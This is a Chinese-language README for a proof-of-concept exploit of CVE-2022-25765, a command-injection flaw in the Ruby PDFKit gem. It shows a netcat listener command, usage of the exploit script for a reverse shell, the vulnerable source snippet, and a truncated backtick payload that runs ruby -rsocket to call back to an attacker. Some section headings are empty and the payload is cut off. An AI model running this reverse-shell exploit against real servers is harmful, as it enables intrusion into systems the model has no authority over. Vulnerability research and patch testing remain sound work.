针对 CVE-2022-25765(PDFkit 命令注入)的小型 PoC 漏洞利用
在攻击机器上启动 netcat 监听器:
nc -lvnp 4444
运行漏洞利用程序:
python cve-2022-25765.py -t http://目标IP:端口 -l 你的IP -p 你的端口
示例:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
参数说明:
-t, --target:运行存在漏洞的 PDFKit 的目标 URL-l, --lhost:用于反向 Shell 连接的你的 IP 地址-p, --lport:用于反向 Shell 连接的你的端口(必须与 netcat 监听器匹配)CVE ID: CVE-2022-25765
CVSS v3.1 评分: 9.8(严重)
EPSS 评分: 71.381%(99 百分位)
CWE: CWE-77 - 命令中特殊元素未正确中和
PDFKit 是一个 Ruby gem,它使用 wkhtmltopdf 命令行工具将 HTML 转换为 PDF。该漏洞存在于 PDFKit 将 URL 参数传递给系统 Shell 命令以生成 PDF 时的处理方式中。
漏洞位于 lib/pdfkit/source.rb 中,其中 URL 清理的实现不恰当:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
问题原因:
攻击向量:
该 PoC 通过以下方式利用漏洞:
http://攻击者IP:端口/?name=%20` ruby -rsocket...`'目标系统上: